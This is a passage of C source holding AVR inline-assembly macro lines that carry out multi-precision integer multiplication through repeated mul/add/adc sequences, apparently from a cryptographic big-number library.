8678 "adc r22, r25 \n\t" \
8679 "mul r7, r15 \n\t" \
8680 "add r23, r0 \n\t" \
8681 "adc r24, r1 \n\t" \
8682 "adc r22, r25 \n\t" \
8683 "mul r8, r14 \n\t" \
8684 "add r23, r0 \n\t" \
8685 "adc r24, r1 \n\t" \
8686 "adc r22, r25 \n\t" \
8687 "mul r9, r13 \n\t" \
8688 "add r23, r0 \n\t" \
8689 "adc r24, r1 \n\t" \
8690 "adc r22, r25 \n\t" \
8691 "mul r10, r12 \n\t" \
8692 "add r23, r0 \n\t" \
8693 "adc r24, r1 \n\t" \
8694 "adc r22, r25 \n\t" \
8695 "st z+, r23 \n\t" \
8696 \
8697 "ldi r23, 0 \n\t" \
8698 "mul r2, r21 \n\t" \
8699 "add r24, r0 \n\t" \
8700 "adc r22, r1 \n\t" \
8701 "adc r23, r25 \n\t" \
8702 "mul r3, r20 \n\t" \
8703 "add r24, r0 \n\t" \
8704 "adc r22, r1 \n\t" \
8705 "adc r23, r25 \n\t" \
8706 "mul r4, r19 \n\t" \
8707 "add r24, r0 \n\t" \
8708 "adc r22, r1 \n\t" \
8709 "adc r23, r25 \n\t" \
8710 "mul r5, r18 \n\t" \
8711 "add r24, r0 \n\t" \
8712 "adc r22, r1 \n\t" \
8713 "adc r23, r25 \n\t" \
8714 "mul r6, r17 \n\t" \
8715 "add r24, r0 \n\t" \
8716 "adc r22, r1 \n\t" \
8717 "adc r23, r25 \n\t" \
8718 "mul r7, r16 \n\t" \
8719 "add r24, r0 \n\t" \
8720 "adc r22, r1 \n\t" \
8721 "adc r23, r25 \n\t" \
8722 "mul r8, r15 \n\t" \
8723 "add r24, r0 \n\t" \
8724 "adc r22, r1 \n\t" \
8725 "adc r23, r25 \n\t" \
8726 "mul r9, r14 \n\t" \
8727 "add r24, r0 \n\t" \
8728 "adc r22, r1 \n\t" \
8729 "adc r23, r25 \n\t" \
8730 "mul r10, r13 \n\t" \
8731 "add r24, r0 \n\t" \
8732 "adc r22, r1 \n\t" \
8733 "adc r23, r25 \n\t" \
8734 "mul r11, r12 \n\t" \
8735 "add r24, r0 \n\t" \
8736 "adc r22, r1 \n\t" \
8737 "adc r23, r25 \n\t" \
8738 "st z+, r24 \n\t" \
8739 \
8740 "ld r2, x+ \n\t" \
8741 "ldi r24, 0 \n\t" \
8742 "mul r3, r21 \n\t" \
8743 "add r22, r0 \n\t" \
8744 "adc r23, r1 \n\t" \
8745 "adc r24, r25 \n\t" \
8746 "mul r4, r20 \n\t" \
8747 "add r22, r0 \n\t" \
8748 "adc r23, r1 \n\t" \
8749 "adc r24, r25 \n\t" \
8750 "mul r5, r19 \n\t" \
8751 "add r22, r0 \n\t" \
8752 "adc r23, r1 \n\t" \
8753 "adc r24, r25 \n\t" \
8754 "mul r6, r18 \n\t" \
8755 "add r22, r0 \n\t" \
8756 "adc r23, r1 \n\t" \
8757 "adc r24, r25 \n\t" \
8758 "mul r7, r17 \n\t" \
8759 "add r22, r0 \n\t" \
8760 "adc r23, r1 \n\t" \
8761 "adc r24, r25 \n\t" \
8762 "mul r8, r16 \n\t" \
8763 "add r22, r0 \n\t" \
8764 "adc r23, r1 \n\t" \
8765 "adc r24, r25 \n\t" \
8766 "mul r9, r15 \n\t" \
8767 "add r22, r0 \n\t" \
8768 "adc r23, r1 \n\t" \
8769 "adc r24, r25 \n\t" \
8770 "mul r10, r14 \n\t" \
8771 "add r22, r0 \n\t" \
8772 "adc r23, r1 \n\t" \
8773 "adc r24, r25 \n\t" \
8774 "mul r11, r13 \n\t" \
8775 "add r22, r0 \n\t" \
8776 "adc r23, r1 \n\t" \
8777 "adc r24, r25 \n\t" \
8778 "mul r2, r12 \n\t" \
8779 "add r22, r0 \n\t" \
8780 "adc r23, r1 \n\t" \
8781 "adc r24, r25 \n\t" \
8782 "ld r0, z \n\t" \
8783 "add r22, r0 \n\t" \
8784 "adc r23, r25 \n\t" \
8785 "adc r24, r25 \n\t" \
8786 "st z+, r22 \n\t" \
8787 \
8788 "ld r3, x+ \n\t" \
8789 "ldi r22, 0 \n\t" \
8790 "mul r4, r21 \n\t" \
8791 "add r23, r0 \n\t" \
8792 "adc r24, r1 \n\t" \
8793 "adc r22, r25 \n\t" \
8794 "mul r5, r20 \n\t" \
8795 "add r23, r0 \n\t" \
8796 "adc r24, r1 \n\t" \
8797 "adc r22, r25 \n\t" \
8798 "mul r6, r19 \n\t" \
8799 "add r23, r0 \n\t" \
8800 "adc r24, r1 \n\t" \
8801 "adc r22, r25 \n\t" \
8802 "mul r7, r18 \n\t" \
8803 "add r23, r0 \n\t" \
8804 "adc r24, r1 \n\t" \
8805 "adc r22, r25 \n\t" \
8806 "mul r8, r17 \n\t" \
8807 "add r23, r0 \n\t" \
8808 "adc r24, r1 \n\t" \
8809 "adc r22, r25 \n\t" \
8810 "mul r9, r16 \n\t" \
8811 "add r23, r0 \n\t" \
8812 "adc r24, r1 \n\t" \
8813 "adc r22, r25 \n\t" \
8814 "mul r10, r15 \n\t" \
8815 "add r23, r0 \n\t" \
8816 "adc r24, r1 \n\t" \
8817 "adc r22, r25 \n\t" \
8818 "mul r11, r14 \n\t" \
8819 "add r23, r0 \n\t" \
8820 "adc r24, r1 \n\t" \
8821 "adc r22, r25 \n\t" \
8822 "mul r2, r13 \n\t" \
8823 "add r23, r0 \n\t" \
8824 "adc r24, r1 \n\t" \
8825 "adc r22, r25 \n\t" \
8826 "mul r3, r12 \n\t" \
8827 "add r23, r0 \n\t" \
8828 "adc r24, r1 \n\t" \
8829 "adc r22, r25 \n\t" \
8830 "ld r0, z \n\t" \
8831 "add r23, r0 \n\t" \
8832 "adc r24, r25 \n\t" \
8833 "adc r22, r25 \n\t" \
8834 "st z+, r23 \n\t" \
8835 \
8836 "ld r12, y+ \n\t" \
8837 "ldi r23, 0 \n\t" \
8838 "mul r4, r12 \n\t" \
8839 "add r24, r0 \n\t" \
8840 "adc r22, r1 \n\t" \
8841 "adc r23, r25 \n\t" \
8842 "mul r5, r21 \n\t" \
8843 "add r24, r0 \n\t" \
8844 "adc r22, r1 \n\t" \
8845 "adc r23, r25 \n\t" \
8846 "mul r6, r20 \n\t" \
8847 "add r24, r0 \n\t" \
8848 "adc r22, r1 \n\t" \
8849 "adc r23, r25 \n\t" \
8850 "mul r7, r19 \n\t" \
8851 "add r24, r0 \n\t" \
8852 "adc r22, r1 \n\t" \
8853 "adc r23, r25 \n\t" \
8854 "mul r8, r18 \n\t" \
8855 "add r24, r0 \n\t" \
8856 "adc r22, r1 \n\t" \
8857 "adc r23, r25 \n\t" \
8858 "mul r9, r17 \n\t" \
8859 "add r24, r0 \n\t" \
8860 "adc r22, r1 \n\t" \
8861 "adc r23, r25 \n\t" \
8862 "mul r10, r16 \n\t" \
8863 "add r24, r0 \n\t" \
8864 "adc r22, r1 \n\t" \
8865 "adc r23, r25 \n\t" \
8866 "mul r11, r15 \n\t" \
8867 "add r24, r0 \n\t" \
8868 "adc r22, r1 \n\t" \
8869 "adc r23, r25 \n\t" \
8870 "mul r2, r14 \n\t" \
8871 "add r24, r0 \n\t" \
8872 "adc r22, r1 \n\t" \
8873 "adc r23, r25 \n\t" \
8874 "mul r3, r13 \n\t" \
8875 "add r24, r0 \n\t" \
8876 "adc r22, r1 \n\t" \
8877 "adc r23, r25 \n\t" \
8878 "ld r0, z \n\t" \
8879 "add r24, r0 \n\t" \
8880 "adc r22, r25 \n\t" \
8881 "adc r23, r25 \n\t" \
8882 "st z+, r24 \n\t" \
8883 \
8884 "ld r13, y+ \n\t" \
8885 "ldi r24, 0 \n\t" \
8886 "mul r4, r13 \n\t" \
8887 "add r22, r0 \n\t" \
8888 "adc r23, r1 \n\t" \
8889 "adc r24, r25 \n\t" \
8890 "mul r5, r12 \n\t" \
8891 "add r22, r0 \n\t" \
8892 "adc r23, r1 \n\t" \
8893 "adc r24, r25 \n\t" \
8894 "mul r6, r21 \n\t" \
8895 "add r22, r0 \n\t" \
8896 "adc r23, r1 \n\t" \
8897 "adc r24, r25 \n\t" \
8898 "mul r7, r20 \n\t" \
8899 "add r22, r0 \n\t" \
8900 "adc r23, r1 \n\t" \
8901 "adc r24, r25 \n\t" \
8902 "mul r8, r19 \n\t" \
8903 "add r22, r0 \n\t" \
8904 "adc r23, r1 \n\t" \
8905 "adc r24, r25 \n\t" \
8906 "mul r9, r18 \n\t" \
8907 "add r22, r0 \n\t" \
8908 "adc r23, r1 \n\t" \
8909 "adc r24, r25 \n\t" \
8910 "mul r10, r17 \n\t" \
8911 "add r22, r0 \n\t" \
8912 "adc r23, r1 \n\t" \
8913 "adc r24, r25 \n\t" \
8914 "mul r11, r16 \n\t" \
8915 "add r22, r0 \n\t" \
8916 "adc r23, r1 \n\t" \
8917 "adc r24, r25 \n\t" \
8918 "mul r2, r15 \n\t" \
8919 "add r22, r0 \n\t" \
8920 "adc r23, r1 \n\t" \
8921 "adc r24, r25 \n\t" \
8922 "mul r3, r14 \n\t" \
8923 "add r22, r0 \n\t" \
8924 "adc r23, r1 \n\t" \
8925 "adc r24, r25 \n\t" \
8926 "ld r0, z \n\t" \
8927 "add r22, r0 \n\t" \
8928 "adc r23, r25 \n\t" \
8929 "adc r24, r25 \n\t" \
8930 "st z+, r22 \n\t" \
8931 \
8932 "ldi r22, 0 \n\t" \
8933 "mul r5, r13 \n\t" \
8934 "add r23, r0 \n\t" \
8935 "adc r24, r1 \n\t" \
8936 "adc r22, r25 \n\t" \
8937 "mul r6, r12 \n\t" \
8938 "add r23, r0 \n\t" \
8939 "adc r24, r1 \n\t" \
8940 "adc r22, r25 \n\t" \
8941 "mul r7, r21 \n\t" \
8942 "add r23, r0 \n\t" \
8943 "adc r24, r1 \n\t" \
8944 "adc r22, r25 \n\t" \
8945 "mul r8, r20 \n\t" \
8946 "add r23, r0 \n\t" \
8947 "adc r24, r1 \n\t" \
8948 "adc r22, r25 \n\t" \
8949 "mul r9, r19 \n\t" \
8950 "add r23, r0 \n\t" \
8951 "adc r24, r1 \n\t" \
8952 "adc r22, r25 \n\t" \
8953 "mul r10, r18 \n\t" \
8954 "add r23, r0 \n\t" \
8955 "adc r24, r1 \n\t" \
8956 "adc r22, r25 \n\t" \
8957 "mul r11, r17 \n\t" \
8958 "add r23, r0 \n\t" \
8959 "adc r24, r1 \n\t" \
8960 "adc r22, r25 \n\t" \
8961 "mul r2, r16 \n\t" \
8962 "add r23, r0 \n\t" \
8963 "adc r24, r1 \n\t" \
8964 "adc r22, r25 \n\t" \
8965 "mul r3, r15 \n\t" \
8966 "add r23, r0 \n\t" \
8967 "adc r24, r1 \n\t" \
8968 "adc r22, r25 \n\t" \
8969 "st z+, r23 \n\t" \
8970 \
8971 "ldi r23, 0 \n\t" \
8972 "mul r6, r13 \n\t" \
8973 "add r24, r0 \n\t" \
8974 "adc r22, r1 \n\t" \
8975 "adc r23, r25 \n\t" \
8976 "mul r7, r12 \n\t" \
8977 "add r24, r0 \n\t" \
8978 "adc r22, r1 \n\t" \
8979 "adc r23, r25 \n\t" \
8980 "mul r8, r21 \n\t" \
8981 "add r24, r0 \n\t" \
8982 "adc r22, r1 \n\t" \
8983 "adc r23, r25 \n\t" \
8984 "mul r9, r20 \n\t" \
8985 "add r24, r0 \n\t" \
8986 "adc r22, r1 \n\t" \
8987 "adc r23, r25 \n\t" \
8988 "mul r10, r19 \n\t" \
8989 "add r24, r0 \n\t" \
8990 "adc r22, r1 \n\t" \
8991 "adc r23, r25 \n\t" \
8992 "mul r11, r18 \n\t" \
8993 "add r24, r0 \n\t" \
8994 "adc r22, r1 \n\t" \
8995 "adc r23, r25 \n\t" \
8996 "mul r2, r17 \n\t" \
8997 "add r24, r0 \n\t" \
8998 "adc r22, r1 \n\t" \
8999 "adc r23, r25 \n\t" \
9000 "mul r3, r16 \n\t" \
9001 "add r24, r0 \n\t" \
9002 "adc r22, r1 \n\t" \
9003 "adc r23, r25 \n\t" \
9004 "st z+, r24 \n\t" \
9005 \
9006 "ldi r24, 0 \n\t" \
9007 "mul r7, r13 \n\t" \
9008 "add r22, r0 \n\t" \
9009 "adc r23, r1 \n\t" \
9010 "adc r24, r25 \n\t" \
9011 "mul r8, r12 \n\t" \
9012 "add r22, r0 \n\t" \
9013 "adc r23, r1 \n\t" \
9014 "adc r24, r25 \n\t" \
9015 "mul r9, r21 \n\t" \
9016 "add r22, r0 \n\t" \
9017 "adc r23, r1 \n\t" \
9018 "adc r24, r25 \n\t" \
9019 "mul r10, r20 \n\t" \
9020 "add r22, r0 \n\t" \
9021 "adc r23, r1 \n\t" \
9022 "adc r24, r25 \n\t" \
9023 "mul r11, r19 \n\t" \
9024 "add r22, r0 \n\t" \
9025 "adc r23, r1 \n\t" \
9026 "adc r24, r25 \n\t" \
9027 "mul r2, r18 \n\t" \
9028 "add r22, r0 \n\t" \
9029 "adc r23, r1 \n\t" \
9030 "adc r24, r25 \n\t" \
9031 "mul r3, r17 \n\t" \
9032 "add r22, r0 \n\t" \
9033 "adc r23, r1 \n\t" \
9034 "adc r24, r25 \n\t" \
9035 "st z+, r22 \n\t" \
9036 \
9037 "ldi r22, 0 \n\t" \
9038 "mul r8, r13 \n\t" \
9039 "add r23, r0 \n\t" \
9040 "adc r24, r1 \n\t" \
9041 "adc r22, r25 \n\t" \
9042 "mul r9, r12 \n\t" \
9043 "add r23, r0 \n\t" \
9044 "adc r24, r1 \n\t" \
9045 "adc r22, r25 \n\t" \
9046 "mul r10, r21 \n\t" \
9047 "add r23, r0 \n\t" \
9048 "adc r24, r1 \n\t" \
9049 "adc r22, r25 \n\t" \
9050 "mul r11, r20 \n\t" \
9051 "add r23, r0 \n\t" \
9052 "adc r24, r1 \n\t" \
9053 "adc r22, r25 \n\t" \
9054 "mul r2, r19 \n\t" \
9055 "add r23, r0 \n\t" \
9056 "adc r24, r1 \n\t" \
9057 "adc r22, r25 \n\t" \
9058 "mul r3, r18 \n\t" \
9059 "add r23, r0 \n\t" \
9060 "adc r24, r1 \n\t" \
9061 "adc r22, r25 \n\t" \
9062 "st z+, r23 \n\t" \
9063 \
9064 "ldi r23, 0 \n\t" \
9065 "mul r9, r13 \n\t" \
9066 "add r24, r0 \n\t" \
9067 "adc r22, r1 \n\t" \
9068 "adc r23, r25 \n\t" \
9069 "mul r10, r12 \n\t" \
9070 "add r24, r0 \n\t" \
9071 "adc r22, r1 \n\t" \
9072 "adc r23, r25 \n\t" \
9073 "mul r11, r21 \n\t" \
9074 "add r24, r0 \n\t" \
9075 "adc r22, r1 \n\t" \
9076 "adc r23, r25 \n\t" \
9077 "mul r2, r20 \n\t" \
9078 "add r24, r0 \n\t" \
9079 "adc r22, r1 \n\t" \
9080 "adc r23, r25 \n\t" \
9081 "mul r3, r19 \n\t" \
9082 "add r24, r0 \n\t" \
9083 "adc r22, r1 \n\t" \
9084 "adc r23, r25 \n\t" \
9085 "st z+, r24 \n\t" \
9086 \
9087 "ldi r24, 0 \n\t" \
9088 "mul r10, r13 \n\t" \
9089 "add r22, r0 \n\t" \
9090 "adc r23, r1 \n\t" \
9091 "adc r24, r25 \n\t" \
9092 "mul r11, r12 \n\t" \
9093 "add r22, r0 \n\t" \
9094 "adc r23, r1 \n\t" \
9095 "adc r24, r25 \n\t" \
9096 "mul r2, r21 \n\t" \
9097 "add r22, r0 \n\t" \
9098 "adc r23, r1 \n\t" \
9099 "adc r24, r25 \n\t" \
9100 "mul r3, r20 \n\t" \
9101 "add r22, r0 \n\t" \
9102 "adc r23, r1 \n\t" \
9103 "adc r24, r25 \n\t" \
9104 "st z+, r22 \n\t" \
9105 \
9106 "ldi r22, 0 \n\t" \
9107 "mul r11, r13 \n\t" \
9108 "add r23, r0 \n\t" \
9109 "adc r24, r1 \n\t" \
9110 "adc r22, r25 \n\t" \
9111 "mul r2, r12 \n\t" \
9112 "add r23, r0 \n\t" \
9113 "adc r24, r1 \n\t" \
9114 "adc r22, r25 \n\t" \
9115 "mul r3, r21 \n\t" \
9116 "add r23, r0 \n\t" \
9117 "adc r24, r1 \n\t" \
9118 "adc r22, r25 \n\t" \
9119 "st z+, r23 \n\t" \
9120 \
9121 "ldi r23, 0 \n\t" \
9122 "mul r2, r13 \n\t" \
9123 "add r24, r0 \n\t" \
9124 "adc r22, r1 \n\t" \
9125 "adc r23, r25 \n\t" \
9126 "mul r3, r12 \n\t" \
9127 "add r24, r0 \n\t" \
9128 "adc r22, r1 \n\t" \
9129 "adc r23, r25 \n\t" \
9130 "st z+, r24 \n\t" \
9131 \
9132 "mul r3, r13 \n\t" \
9133 "add r22, r0 \n\t" \
9134 "adc r23, r1 \n\t" \
9135 "st z+, r22 \n\t" \
9136 "st z+, r23 \n\t" \
9137 \
9138 "sbiw r30, 34 \n\t" \
9139 "sbiw r28, 22 \n\t" \
9140 "sbiw r26, 12 \n\t" \
9141 "ld r2, x+ \n\t" \
9142 "ld r12, y+ \n\t" \
9143 "ld r3, x+ \n\t" \
9144 "ld r13, y+ \n\t" \
9145 "ld r4, x+ \n\t" \
9146 "ld r14, y+ \n\t" \
9147 "ld r5, x+ \n\t" \
9148 "ld r15, y+ \n\t" \
9149 "ld r6, x+ \n\t" \
9150 "ld r16, y+ \n\t" \
9151 "ld r7, x+ \n\t" \
9152 "ld r17, y+ \n\t" \
9153 "ld r8, x+ \n\t" \
9154 "ld r18, y+ \n\t" \
9155 "ld r9, x+ \n\t" \
9156 "ld r19, y+ \n\t" \
9157 "ld r10, x+ \n\t" \
9158 "ld r20, y+ \n\t" \
9159 "ld r11, x+ \n\t" \
9160 "ld r21, y+ \n\t" \
9161 \
9162 "ldi r23, 0 \n\t" \
9163 "mul r2, r12 \n\t" \
9164 "st z+, r0 \n\t" \
9165 "mov r22, r1 \n\t" \
9166 \
9167 "ldi r24, 0 \n\t" \
9168 "mul r2, r13 \n\t" \
9169 "add r22, r0 \n\t" \
9170 "adc r23, r1 \n\t" \
9171 "mul r3, r12 \n\t" \
9172 "add r22, r0 \n\t" \
9173 "adc r23, r1 \n\t" \
9174 "adc r24, r25 \n\t" \
9175 "st z+, r22 \n\t" \
9176 \
9177 "ldi r22, 0 \n\t" \
9178 "mul r2, r14 \n\t" \
9179 "add r23, r0 \n\t" \
9180 "adc r24, r1 \n\t" \
9181 "adc r22, r25 \n\t" \
9182 "mul r3, r13 \n\t" \
9183 "add r23, r0 \n\t" \
9184 "adc r24, r1 \n\t" \
9185 "adc r22, r25 \n\t" \
9186 "mul r4, r12 \n\t" \
9187 "add r23, r0 \n\t" \
9188 "adc r24, r1 \n\t" \
9189 "adc r22, r25 \n\t" \
9190 "st z+, r23 \n\t" \
9191 \
9192 "ldi r23, 0 \n\t" \
9193 "mul r2, r15 \n\t" \
9194 "add r24, r0 \n\t" \
9195 "adc r22, r1 \n\t" \
9196 "adc r23, r25 \n\t" \
9197 "mul r3, r14 \n\t" \
9198 "add r24, r0 \n\t" \
9199 "adc r22, r1 \n\t" \
9200 "adc r23, r25 \n\t" \
9201 "mul r4, r13 \n\t" \
9202 "add r24, r0 \n\t" \
9203 "adc r22, r1 \n\t" \
9204 "adc r23, r25 \n\t" \
9205 "mul r5, r12 \n\t" \
9206 "add r24, r0 \n\t" \
9207 "adc r22, r1 \n\t" \
9208 "adc r23, r25 \n\t" \
9209 "st z+, r24 \n\t" \
9210 \
9211 "ldi r24, 0 \n\t" \
9212 "mul r2, r16 \n\t" \
9213 "add r22, r0 \n\t" \
9214 "adc r23, r1 \n\t" \
9215 "adc r24, r25 \n\t" \
9216 "mul r3, r15 \n\t" \
9217 "add r22, r0 \n\t" \
9218 "adc r23, r1 \n\t" \
9219 "adc r24, r25 \n\t" \
9220 "mul r4, r14 \n\t" \
9221 "add r22, r0 \n\t" \
9222 "adc r23, r1 \n\t" \
9223 "adc r24, r25 \n\t" \
9224 "mul r5, r13 \n\t" \
9225 "add r22, r0 \n\t" \
9226 "adc r23, r1 \n\t" \
9227 "adc r24, r25 \n\t" \
9228 "mul r6, r12 \n\t" \
9229 "add r22, r0 \n\t" \
9230 "adc r23, r1 \n\t" \
9231 "adc r24, r25 \n\t" \
9232 "st z+, r22 \n\t" \
9233 \
9234 "ldi r22, 0 \n\t" \
9235 "mul r2, r17 \n\t" \
9236 "add r23, r0 \n\t" \
9237 "adc r24, r1 \n\t" \
9238 "adc r22, r25 \n\t" \
9239 "mul r3, r16 \n\t" \
9240 "add r23, r0 \n\t" \
9241 "adc r24, r1 \n\t" \
9242 "adc r22, r25 \n\t" \
9243 "mul r4, r15 \n\t" \
9244 "add r23, r0 \n\t" \
9245 "adc r24, r1 \n\t" \
9246 "adc r22, r25 \n\t" \
9247 "mul r5, r14 \n\t" \
9248 "add r23, r0 \n\t" \
9249 "adc r24, r1 \n\t" \
9250 "adc r22, r25 \n\t" \
9251 "mul r6, r13 \n\t" \
9252 "add r23, r0 \n\t" \
9253 "adc r24, r1 \n\t" \
9254 "adc r22, r25 \n\t" \
9255 "mul r7, r12 \n\t" \
9256 "add r23, r0 \n\t" \
9257 "adc r24, r1 \n\t" \
9258 "adc r22, r25 \n\t" \
9259 "st z+, r23 \n\t" \
9260 \
9261 "ldi r23, 0 \n\t" \
9262 "mul r2, r18 \n\t" \
9263 "add r24, r0 \n\t" \
9264 "adc r22, r1 \n\t" \
9265 "adc r23, r25 \n\t" \
9266 "mul r3, r17 \n\t" \
9267 "add r24, r0 \n\t" \
9268 "adc r22, r1 \n\t" \
9269 "adc r23, r25 \n\t" \
9270 "mul r4, r16 \n\t" \
9271 "add r24, r0 \n\t" \
9272 "adc r22, r1 \n\t" \
9273 "adc r23, r25 \n\t" \
9274 "mul r5, r15 \n\t" \
9275 "add r24, r0 \n\t" \
9276 "adc r22, r1 \n\t" \
9277 "adc r23, r25 \n\t" \
9278 "mul r6, r14 \n\t" \
9279 "add r24, r0 \n\t" \
9280 "adc r22, r1 \n\t" \
9281 "adc r23, r25 \n\t" \
9282 "mul r7, r13 \n\t" \
9283 "add r24, r0 \n\t" \
9284 "adc r22, r1 \n\t" \
9285 "adc r23, r25 \n\t" \
9286 "mul r8, r12 \n\t" \
9287 "add r24, r0 \n\t" \
9288 "adc r22, r1 \n\t" \
9289 "adc r23, r25 \n\t" \
9290 "st z+, r24 \n\t" \
9291 \
9292 "ldi r24, 0 \n\t" \
9293 "mul r2, r19 \n\t" \
9294 "add r22, r0 \n\t" \
9295 "adc r23, r1 \n\t" \
9296 "adc r24, r25 \n\t" \
9297 "mul r3, r18 \n\t" \
9298 "add r22, r0 \n\t" \
9299 "adc r23, r1 \n\t" \
9300 "adc r24, r25 \n\t" \
9301 "mul r4, r17 \n\t" \
9302 "add r22, r0 \n\t" \
9303 "adc r23, r1 \n\t" \
9304 "adc r24, r25 \n\t" \
9305 "mul r5, r16 \n\t" \
9306 "add r22, r0 \n\t" \
9307 "adc r23, r1 \n\t" \
9308 "adc r24, r25 \n\t" \
9309 "mul r6, r15 \n\t" \
9310 "add r22, r0 \n\t" \
9311 "adc r23, r1 \n\t" \
9312 "adc r24, r25 \n\t" \
9313 "mul r7, r14 \n\t" \
9314 "add r22, r0 \n\t" \
9315 "adc r23, r1 \n\t" \
9316 "adc r24, r25 \n\t" \
9317 "mul r8, r13 \n\t" \
9318 "add r22, r0 \n\t" \
9319 "adc r23, r1 \n\t" \
9320 "adc r24, r25 \n\t" \
9321 "mul r9, r12 \n\t" \
9322 "add r22, r0 \n\t" \
9323 "adc r23, r1 \n\t" \
9324 "adc r24, r25 \n\t" \
9325 "st z+, r22 \n\t" \
9326 \
9327 "ldi r22, 0 \n\t" \
9328 "mul r2, r20 \n\t" \
9329 "add r23, r0 \n\t" \
9330 "adc r24, r1 \n\t" \
9331 "adc r22, r25 \n\t" \
9332 "mul r3, r19 \n\t" \
9333 "add r23, r0 \n\t" \
9334 "adc r24, r1 \n\t" \
9335 "adc r22, r25 \n\t" \
9336 "mul r4, r18 \n\t" \
9337 "add r23, r0 \n\t" \
9338 "adc r24, r1 \n\t" \
9339 "adc r22, r25 \n\t" \
9340 "mul r5, r17 \n\t" \
9341 "add r23, r0 \n\t" \
9342 "adc r24, r1 \n\t" \
9343 "adc r22, r25 \n\t" \
9344 "mul r6, r16 \n\t" \
9345 "add r23, r0 \n\t" \
9346 "adc r24, r1 \n\t" \
9347 "adc r22, r25 \n\t" \
9348 "mul r7, r15 \n\t" \
9349 "add r23, r0 \n\t" \
9350 "adc r24, r1 \n\t" \
9351 "adc r22, r25 \n\t" \
9352 "mul r8, r14 \n\t" \
9353 "add r23, r0 \n\t" \
9354 "adc r24, r1 \n\t" \
9355 "adc r22, r25 \n\t" \
9356 "mul r9, r13 \n\t" \
9357 "add r23, r0 \n\t" \
9358 "adc r24, r1 \n\t" \
9359 "adc r22, r25 \n\t" \
9360 "mul r10, r12 \n\t" \
9361 "add r23, r0 \n\t" \
9362 "adc r24, r1 \n\t" \
9363 "adc r22, r25 \n\t" \
9364 "st z+, r23 \n\t" \
9365 \
9366 "ldi r23, 0 \n\t" \
9367 "mul r2, r21 \n\t" \
9368 "add r24, r0 \n\t" \
9369 "adc r22, r1 \n\t" \
9370 "adc r23, r25 \n\t" \
9371 "mul r3, r20 \n\t" \
9372 "add r24, r0 \n\t" \
9373 "adc r22, r1 \n\t" \
9374 "adc r23, r25 \n\t" \
9375 "mul r4, r19 \n\t" \
9376 "add r24, r0 \n\t" \
9377 "adc r22, r1 \n\t" \
9378 "adc r23, r25 \n\t" \
9379 "mul r5, r18 \n\t" \
9380 "add r24, r0 \n\t" \
9381 "adc r22, r1 \n\t" \
9382 "adc r23, r25 \n\t" \
9383 "mul r6, r17 \n\t" \
9384 "add r24, r0 \n\t" \
9385 "adc r22, r1 \n\t" \
9386 "adc r23, r25 \n\t" \
9387 "mul r7, r16 \n\t" \
9388 "add r24, r0 \n\t" \
9389 "adc r22, r1 \n\t" \
9390 "adc r23, r25 \n\t" \
9391 "mul r8, r15 \n\t" \
9392 "add r24, r0 \n\t" \
9393 "adc r22, r1 \n\t" \
9394 "adc r23, r25 \n\t" \
9395 "mul r9, r14 \n\t" \
9396 "add r24, r0 \n\t" \
9397 "adc r22, r1 \n\t" \
9398 "adc r23, r25 \n\t" \
9399 "mul r10, r13 \n\t" \
9400 "add r24, r0 \n\t" \
9401 "adc r22, r1 \n\t" \
9402 "adc r23, r25 \n\t" \
9403 "mul r11, r12 \n\t" \
9404 "add r24, r0 \n\t" \
9405 "adc r22, r1 \n\t" \
9406 "adc r23, r25 \n\t" \
9407 "st z+, r24 \n\t" \
9408 \
9409 "ld r2, x+ \n\t" \
9410 "ldi r24, 0 \n\t" \
9411 "mul r3, r21 \n\t" \
9412 "add r22, r0 \n\t" \
9413 "adc r23, r1 \n\t" \
9414 "adc r24, r25 \n\t" \
9415 "mul r4, r20 \n\t" \
9416 "add r22, r0 \n\t" \
9417 "adc r23, r1 \n\t" \
9418 "adc r24, r25 \n\t" \
9419 "mul r5, r19 \n\t" \
9420 "add r22, r0 \n\t" \
9421 "adc r23, r1 \n\t" \
9422 "adc r24, r25 \n\t" \
9423 "mul r6, r18 \n\t" \
9424 "add r22, r0 \n\t" \
9425 "adc r23, r1 \n\t" \
9426 "adc r24, r25 \n\t" \
9427 "mul r7, r17 \n\t" \
9428 "add r22, r0 \n\t" \
9429 "adc r23, r1 \n\t" \
9430 "adc r24, r25 \n\t" \
9431 "mul r8, r16 \n\t" \
9432 "add r22, r0 \n\t" \
9433 "adc r23, r1 \n\t" \
9434 "adc r24, r25 \n\t" \
9435 "mul r9, r15 \n\t" \
9436 "add r22, r0 \n\t" \
9437 "adc r23, r1 \n\t" \
9438 "adc r24, r25 \n\t" \
9439 "mul r10, r14 \n\t" \
9440 "add r22, r0 \n\t" \
9441 "adc r23, r1 \n\t" \
9442 "adc r24, r25 \n\t" \
9443 "mul r11, r13 \n\t" \
9444 "add r22, r0 \n\t" \
9445 "adc r23, r1 \n\t" \
9446 "adc r24, r25 \n\t" \
9447 "mul r2, r12 \n\t" \
9448 "add r22, r0 \n\t" \
9449 "adc r23, r1 \n\t" \
9450 "adc r24, r25 \n\t" \
9451 "ld r0, z \n\t" \
9452 "add r22, r0 \n\t" \
9453 "adc r23, r25 \n\t" \
9454 "adc r24, r25 \n\t" \
9455 "st z+, r22 \n\t" \
9456 \
9457 "ld r3, x+ \n\t" \
9458 "ldi r22, 0 \n\t" \
9459 "mul r4, r21 \n\t" \
9460 "add r23, r0 \n\t" \
9461 "adc r24, r1 \n\t" \
9462 "adc r22, r25 \n\t" \
9463 "mul r5, r20 \n\t" \
9464 "add r23, r0 \n\t" \
9465 "adc r24, r1 \n\t" \
9466 "adc r22, r25 \n\t" \
9467 "mul r6, r19 \n\t" \
9468 "add r23, r0 \n\t" \
9469 "adc r24, r1 \n\t" \
9470 "adc r22, r25 \n\t" \
9471 "mul r7, r18 \n\t" \
9472 "add r23, r0 \n\t" \
9473 "adc r24, r1 \n\t" \
9474 "adc r22, r25 \n\t" \
9475 "mul r8, r17 \n\t" \
9476 "add r23, r0 \n\t" \
9477 "adc r24, r1 \n\t" \
9478 "adc r22, r25 \n\t" \
9479 "mul r9, r16 \n\t" \
9480 "add r23, r0 \n\t" \
9481 "adc r24, r1 \n\t" \
9482 "adc r22, r25 \n\t" \
9483 "mul r10, r15 \n\t" \
9484 "add r23, r0 \n\t" \
9485 "adc r24, r1 \n\t" \
9486 "adc r22, r25 \n\t" \
9487 "mul r11, r14 \n\t" \
9488 "add r23, r0 \n\t" \
9489 "adc r24, r1 \n\t" \
9490 "adc r22, r25 \n\t" \
9491 "mul r2, r13 \n\t" \
9492 "add r23, r0 \n\t" \
9493 "adc r24, r1 \n\t" \
9494 "adc r22, r25 \n\t" \
9495 "mul r3, r12 \n\t" \
9496 "add r23, r0 \n\t" \
